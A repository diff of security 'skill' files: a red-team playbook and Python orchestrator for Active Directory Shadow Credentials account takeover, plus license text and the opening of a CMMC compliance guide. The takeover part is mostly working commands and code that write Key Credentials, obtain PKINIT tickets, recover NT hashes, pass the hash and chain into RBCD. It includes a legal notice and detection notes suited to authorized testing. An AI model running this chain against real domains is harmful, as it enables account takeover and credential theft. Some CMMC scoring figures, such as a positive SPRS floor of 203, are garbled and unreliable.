that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,185 @@
---
name: abusing-shadow-credentials-for-privesc
description: Take over Active Directory user and computer accounts by writing alternate certificate keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, and Certipy, then authenticate via PKINIT.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- shadow-credentials
- pywhisker
- certipy
- pkinit
- key-credential-link
- privilege-escalation
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.AA-05
mitre_attack:
- T1098.005
---
# Abusing Shadow Credentials for Privilege Escalation
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.
## Overview
The **Shadow Credentials** technique abuses the `msDS-KeyCredentialLink` attribute of Active Directory user and computer objects. This attribute stores raw public keys ("Key Credentials") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's `msDS-KeyCredentialLink` — typically granted by `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover **without resetting the password**, which is far stealthier than a forced password reset.
The technique was published by Elad Shamir (*"Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover"*) and implemented in the C# tool **Whisker**. The Python equivalent **pyWhisker** (ShutdownRepo) manipulates the attribute over LDAP, and **Certipy** integrates the entire chain via `certipy shadow auto`. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: [pyWhisker](https://github.com/ShutdownRepo/pywhisker), [Whisker](https://github.com/eladshamir/Whisker), [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials).
## When to Use
- When BloodHound reveals `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over a higher-value user or computer
- As a stealthier alternative to `ForceChangePassword` (no password reset = less disruption/alerting)
- To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)
- During red-team operations needing account takeover without locking out the legitimate user
- For purple-team exercises generating `msDS-KeyCredentialLink` modification telemetry
## Prerequisites
- Authorized engagement scope including AD credential-access techniques
- Control of a principal with write access to the target's `msDS-KeyCredentialLink`
- A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)
- Network reachability to LDAP (389/636) and Kerberos (88) on a DC
- Linux attack host with Python 3.8+; install the tooling:
```bash
# pyWhisker (from source)
git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker && pip install .
# Certipy (integrated shadow attack)
pipx install certipy-ad
# PKINITtools for manual TGT/NT-hash extraction
git clone https://github.com/dirkjanm/PKINITtools
```
## Objectives
- Confirm write access over a target's `msDS-KeyCredentialLink`
- Generate a key pair and append a Key Credential to the target object
- Request a TGT for the target via PKINIT using the new key
- Recover the target's NT hash for pass-the-hash / further movement
- Clean up the injected Key Credential to restore the object's state
- Document the ACL path that enabled the attack for remediation
## MITRE ATT&CK Mapping
| ID | Technique | Application in this skill |
|----|-----------|---------------------------|
| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |
## Workflow
### Step 1: Confirm the write primitive
List existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the `add` step.
```bash
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "list"
```
### Step 2: Add a Shadow Credential with pyWhisker
Generate a certificate/key pair and write it into the target's `msDS-KeyCredentialLink`. pyWhisker outputs a PFX you control.
```bash
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "add" --filename victim_shadow
# Produces victim_shadow.pfx and prints the PFX password
```
Use Kerberos auth instead of a password if you only hold a ticket:
```bash
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
--target "victim" --action "add" --filename victim_shadow --use-ldaps
```
### Step 3: Request a TGT via PKINIT
Use the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.
```bash
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
corp.local/victim victim.ccache
```
### Step 4: Recover the NT hash
Extract the target's NT hash from the AS-REP using the session key from Step 3 (`getnthash.py` reads the AS-REP encryption key, displayed by `gettgtpkinit.py`).
```bash
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Prints the NT hash for 'victim'
```
### Step 5: One-shot alternative with Certipy
Certipy's `shadow auto` performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.
```bash
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
# For a computer account, use the sAMAccountName with trailing $
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
```
### Step 6: Use the recovered credential
Authenticate with the NT hash (or the TGT) to continue the engagement.
```bash
# Pass-the-hash with NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Or use the TGT directly
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
```
### Step 7: Chain computer takeover into RBCD (optional)
When the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.
```bash
# Set RBCD so attacker-controlled SPN can impersonate to WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Passw0rd!'
```
### Step 8: Clean up
Remove the injected Key Credential to restore the object and reduce detection footprint.
```bash
# pyWhisker: remove by device-id (printed during add) or clear all you added
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto cleans up automatically; otherwise:
certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
```
## Tools and Resources
| Resource | Purpose | Link |
|----------|---------|------|
| pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
| Whisker | Original C# implementation | https://github.com/eladshamir/Whisker |
| Certipy | `shadow auto` end-to-end takeover | https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | Technique walkthrough & defenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
## Detection and Remediation Notes
| Area | Guidance |
|------|----------|
| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect/non-Intune principal writes the attribute. |
| Auditing | Enable directory service object change auditing on user/computer OUs. |
| Least privilege | Remove unnecessary `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |
| Mitigation | Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |
## Validation Criteria
- [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)
- [ ] Key Credential successfully added (PFX generated)
- [ ] PKINIT TGT obtained for the target account
- [ ] Target NT hash recovered and validated against a service
- [ ] (If computer) RBCD chain or onward movement demonstrated
- [ ] Injected Key Credential removed / object restored
- [ ] Enabling ACL path documented with remediation recommendation
@@ -0,0 +1,68 @@
# Shadow Credentials Tooling Reference
## pyWhisker (https://github.com/ShutdownRepo/pywhisker)
Invocation: `python3 pywhisker.py [auth] --target <obj> --action <action> [opts]`
| Flag | Meaning |
|------|---------|
| `-d DOMAIN` | Target domain (FQDN) |
| `-u USER` | Controlled username |
| `-p PASSWORD` | Password |
| `-k` / `--no-pass` | Kerberos auth (uses KRB5CCNAME) |
| `-H LM:NT` | Pass-the-hash |
| `--target NAME` | Target user/computer whose attribute is modified |
| `--action list` | Enumerate existing Key Credentials |
| `--action add` | Generate key pair, write Key Credential |
| `--action remove` | Remove one Key Credential by `--device-id` |
| `--action clear` | Remove all Key Credentials |
| `--action info` | Show details of a Key Credential |
| `--filename NAME` | Output PFX/PEM base name |
| `--export PEM|PFX` | Output format (default PFX) |
| `--device-id GUID` | Target device for remove/info |
| `--dc-ip IP` | Domain Controller IP |
| `--use-ldaps` | Use LDAPS (636) |
### Example
```bash
python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
--target victim --action add --filename victim_shadow
```
## Certipy `shadow` (https://github.com/ly4k/Certipy)
| Command | Meaning |
|---------|---------|
| `certipy shadow auto` | Add → PKINIT → dump NT hash → cleanup (end to end) |
| `certipy shadow add` | Add Key Credential only |
| `certipy shadow list` | List Key Credentials |
| `certipy shadow clear` | Clear Key Credentials |
| `certipy shadow info` | Show Key Credential info |
Key flags: `-u USER@DOMAIN`, `-p PW` / `-hashes :NT` / `-k -no-pass`,
`-dc-ip IP`, `-account TARGET` (use trailing `$` for computers), `-ns IP`, `-dns-tcp`.
### Example
```bash
certipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
```
## PKINITtools (https://github.com/dirkjanm/PKINITtools)
| Script | Purpose |
|--------|---------|
| `gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache` | Request TGT via PKINIT; prints AS-REP key |
| `getnthash.py -key <AS-REP-KEY> DOMAIN/USER` | Recover NT hash (KRB5CCNAME set) |
### Example
```bash
python3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \
corp.local/victim victim.ccache
export KRB5CCNAME=victim.ccache
python3 getnthash.py -key <AS-REP-KEY> corp.local/victim
```
## Detection signal
- Event ID 5136 — modification of `msDS-KeyCredentialLink` (Directory Service Changes auditing).
- BloodHound edge: `AddKeyCredentialLink`.
@@ -0,0 +1,21 @@
# Standards Mapping — Abusing Shadow Credentials for Privilege Escalation
## MITRE ATT&CK (Enterprise)
| ID | Name | Rationale |
|----|------|-----------|
| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential to `msDS-KeyCredentialLink` registers an alternate device/certificate credential for the target, which is exactly the device-registration manipulation this sub-technique describes. |
Reference: https://attack.mitre.org/techniques/T1098/005/
Related techniques exercised in the chain:
- T1649 (Steal or Forge Authentication Certificates) — the PKINIT certificate used to authenticate.
- T1550.003 / T1558 — using the recovered TGT/hash for movement.
## NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|----|------|-----------|
| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege and separation of duties | The attack is only possible because of over-permissive ACEs (`GenericWrite`/`GenericAll`/`AddKeyCredentialLink`) on AD objects; remediation is least-privilege enforcement of who may write Key Credentials. |
Reference: https://csrc.nist.gov/projects/cybersecurity-framework
@@ -0,0 +1,145 @@
#!/usr/bin/env python3
"""
shadowcred_takeover.py — Orchestrate a Shadow Credentials account takeover.
Wraps the real `certipy shadow auto` workflow (and optionally pyWhisker +
PKINITtools) to add a Key Credential to a target's msDS-KeyCredentialLink,
recover the NT hash via PKINIT, and clean up. Parses the tool output to surface
the recovered NT hash and TGT path.
Authorized use only. Requires write access over the target's
msDS-KeyCredentialLink and a DC running Windows Server 2016+ with PKINIT.
Install:
pipx install certipy-ad
git clone https://github.com/ShutdownRepo/pywhisker
git clone https://github.com/dirkjanm/PKINITtools
Examples:
python shadowcred_takeover.py certipy -u attacker@corp.local -p 'Passw0rd!' \
--dc-ip 10.0.0.100 --target 'WS01$'
python shadowcred_takeover.py pywhisker -d corp.local -u attacker \
-p 'Passw0rd!' --dc-ip 10.0.0.100 --target victim \
--pywhisker ./pywhisker/pywhisker.py
"""
import argparse
import os
import re
import shutil
import subprocess
import sys
def _which_or_die(binary, hint):
if shutil.which(binary) is None and not os.path.exists(binary):
sys.exit(f"[!] '{binary}' not found. {hint}")
def run(cmd, timeout=600):
print("[*] Running:", " ".join(cmd))
try:
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
except subprocess.TimeoutExpired:
sys.exit(f"[!] Command timed out after {timeout}s.")
out = proc.stdout + proc.stderr
print(out)
return proc.returncode, out
def parse_nthash(text):
"""Certipy prints 'Got hash for ...: aad3b...:<NT>'. Extract the NT half."""
m = re.search(r"[Gg]ot hash for .*?:\s*([0-9a-fA-F]{32}):([0-9a-fA-F]{32})", text)
if m:
return m.group(2)
m = re.search(r"\b[0-9a-fA-F]{32}:([0-9a-fA-F]{32})\b", text)
return m.group(1) if m else None
def certipy_flow(args):
_which_or_die("certipy", "Install with: pipx install certipy-ad")
cmd = ["certipy", "shadow", "auto",
"-u", args.user, "-dc-ip", args.dc_ip, "-account", args.target]
if args.password:
cmd += ["-p", args.password]
elif args.hashes:
cmd += ["-hashes", args.hashes]
elif args.kerberos:
cmd += ["-k", "-no-pass"]
else:
sys.exit("[!] Provide -p, --hashes, or -k.")
if args.ns:
cmd += ["-ns", args.ns, "-dns-tcp"]
rc, out = run(cmd)
if rc != 0:
sys.exit("[!] certipy shadow auto failed.")
nt = parse_nthash(out)
if nt:
print(f"\n[+] Recovered NT hash for {args.target}: {nt}")
print(f"[+] Reuse it: nxc smb {args.dc_ip} -u {args.target.rstrip('$')} -H {nt}")
else:
print("[!] Could not auto-extract NT hash; review output above.")
def pywhisker_flow(args):
if not args.pywhisker or not os.path.exists(args.pywhisker):
sys.exit("[!] --pywhisker must point to pywhisker.py")
base = "shadow_" + args.target.rstrip("$")
cmd = ["python3", args.pywhisker, "-d", args.domain, "-u", args.user,
"--target", args.target, "--action", "add", "--filename", base]
if args.password:
cmd += ["-p", args.password]
elif args.kerberos:
cmd += ["-k", "--no-pass"]
else:
sys.exit("[!] Provide -p or -k.")
if args.dc_ip:
cmd += ["--dc-ip", args.dc_ip]
rc, out = run(cmd)
if rc != 0:
sys.exit("[!] pyWhisker add failed.")
pfx_pass = None
m = re.search(r"[Pp]assword(?: for the PFX)?:\s*(\S+)", out)
if m:
pfx_pass = m.group(1)
print(f"\n[+] Key Credential added. PFX: {base}.pfx PFX-pass: {pfx_pass}")
print("[+] Next, request a TGT with PKINITtools:")
print(f" python3 gettgtpkinit.py -cert-pfx {base}.pfx -pfx-pass {pfx_pass} "
f"{args.domain}/{args.target.rstrip('$')} {base}.ccache")
print(" export KRB5CCNAME=%s.ccache" % base)
print(f" python3 getnthash.py -key <AS-REP-KEY> {args.domain}/{args.target.rstrip('$')}")
print("[!] Remember to clean up the injected Key Credential when done:")
print(f" python3 {args.pywhisker} -d {args.domain} -u {args.user} "
f"--target {args.target} --action clear")
def main():
ap = argparse.ArgumentParser(description="Shadow Credentials takeover orchestrator.")
sub = ap.add_subparsers(dest="mode", required=True)
c = sub.add_parser("certipy", help="Use certipy shadow auto (end to end)")
c.add_argument("-u", "--user", required=True, help="attacker@domain")
c.add_argument("-p", "--password")
c.add_argument("--hashes")
c.add_argument("-k", "--kerberos", action="store_true")
c.add_argument("--dc-ip", required=True, dest="dc_ip")
c.add_argument("--target", required=True, help="victim or WS01$")
c.add_argument("--ns")
w = sub.add_parser("pywhisker", help="Use pyWhisker add (manual PKINIT after)")
w.add_argument("-d", "--domain", required=True)
w.add_argument("-u", "--user", required=True)
w.add_argument("-p", "--password")
w.add_argument("-k", "--kerberos", action="store_true")
w.add_argument("--dc-ip", dest="dc_ip")
w.add_argument("--target", required=True)
w.add_argument("--pywhisker", required=True, help="Path to pywhisker.py")
args = ap.parse_args()
if args.mode == "certipy":
certipy_flow(args)
else:
pywhisker_flow(args)
if __name__ == "__main__":
main()
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,142 @@
---
name: achieving-cmmc-level-2-compliance
description: >-
Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI
and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14
families, compute the SPRS score with the DoD Assessment Methodology, manage a
compliant POA&M, and ready the organization for a C3PAO assessment. Use when an
organization handles Controlled Unclassified Information (CUI) under a DoD contract,
when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for
or responding to a CMMC assessment, when computing or improving an SPRS score, when
building a System Security Plan or POA&M for 800-171, or when scoping which systems
are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2,
CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment
Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.
domain: cybersecurity
subdomain: compliance-governance
tags:
- cmmc
- nist-800-171
- cui
- sprs
- dfars
- c3pao
- poam
- compliance
- governance
- defense-industrial-base
version: "1.0"
author: andrewibrah
license: Apache-2.0
nist_csf:
- GV.OC-03
- GV.SC-01
- ID.AM-08
- ID.RA-05
- PR.AA-01
- PR.DS-01
mitre_attack:
- T1078
- T1190
- T1041
- T1048
- T1567
---
# Achieving CMMC Level 2 Compliance
## When to Use
- When an organization in the **Defense Industrial Base (DIB)** stores, processes, or transmits **Controlled Unclassified Information (CUI)** under a DoD contract.
- When a contract includes **DFARS 252.204-7012** (safeguarding/incident reporting), **-7019/-7020** (NIST 800-171 self-assessment + SPRS), or the new **-7021** (CMMC requirement).
- When preparing for a **C3PAO** third-party assessment or a DoD-led assessment.
- When you must **compute, post, or improve an SPRS score** based on the NIST SP 800-171 DoD Assessment Methodology.
- When authoring or remediating a **System Security Plan (SSP)** and **POA&M** for the 110 requirements.
- When **scoping** which assets fall inside the CUI/FCI boundary (CUI assets, security-protection assets, contractor risk-managed assets, out-of-scope).
## Prerequisites
- Knowledge of **which contracts carry CUI** and the CUI categories involved (check the contract and the DoD CUI Registry).
- An asset inventory and network diagram so you can define the **CMMC assessment scope** before assessing controls.
- The **NIST SP 800-171 Rev 2** requirements and the **DoD Assessment Methodology** scoring weights.
- A documented **SSP** (its absence is itself a failed requirement — 3.12.4).
- Identification of any **External Service Providers (ESPs)** / cloud services touching CUI, and whether they meet **FedRAMP Moderate (or equivalency)**.
## Workflow
### 1. Determine applicability and CUI categories
Confirm the contract requires CMMC Level 2 (CUI present, not just FCI). FCI-only contracts are **Level 1** (the 15 FAR 52.204-21 requirements). Identify CUI categories from the contract and the DoD CUI Registry.
### 2. Scope the environment
Classify every asset into one of the CMMC scoping categories:
- **CUI Assets** — process/store/transmit CUI (in scope, assessed against all applicable controls).
- **Security Protection Assets** — provide security to the CUI environment (in scope).
- **Contractor Risk Managed Assets** — could but are not intended to handle CUI; managed by policy.
- **Specialized Assets** (IoT/OT, GFE, test equipment) — documented, limited assessment.
- **Out-of-Scope** — physically/logically isolated from CUI.
Minimize scope deliberately — a smaller, well-segmented CUI enclave is far cheaper to certify than a flat network.
### 3. Implement the 110 requirements (NIST SP 800-171 Rev 2)
Work the **14 families** (3.13.14). For each requirement, implement, then write the **how** in the SSP. High-leverage early wins: MFA (3.5.3), FIPS-validated cryptography (3.13.11), audit logging (3.3.x), access control + least privilege (3.1.x), and incident response (3.6.x).
### 4. Score with the DoD Assessment Methodology (SPRS)
Start at **110** and subtract the weighted value (**1, 3, or 5 points**) of each **unmet** requirement; partial credit applies to a small number of controls (e.g., MFA, FIPS crypto). The result is the **SPRS score** (maximum 110; the methodology floor is 203). Post the score, the SSP date, and the assessment scope to **SPRS** (or eMASS for higher assessments).
### 5. Build a compliant POA&M
Document every unmet requirement with owner, remediation, and milestone. **Constraints under the CMMC rule:** a **Conditional** status requires a score of at least **80%** (≥ 88 of 110), only **POA&M-eligible** requirements may be deferred (the highest-weighted security requirements must be fully met — verify eligibility against 32 CFR Part 170), and all POA&M items must be **closed within 180 days** to convert Conditional → **Final**.
### 6. Assess (self or C3PAO)
- **Level 1** and a subset of Level 2 = annual **self-assessment** with an affirmation in SPRS.
- **Level 2 (most CUI contracts)** = triennial **C3PAO** certification assessment.
- **Level 3** = DoD (DIBCAC) assessment on top of Level 2, adding SP 800-172 enhanced requirements.
Assessors evaluate each objective as **MET / NOT MET / N/A** with evidence (examine/interview/test). A senior official files the **annual affirmation** of continued compliance.
### 7. Maintain certification
Certification is valid **three years** with **annual affirmations**. Maintain the SSP, re-score on change, keep evidence current, and feed significant changes back into the assessment.
## Key Concepts
| Concept | Definition |
|---|---|
| FCI | Federal Contract Information — Level 1 protects it (FAR 52.204-21). |
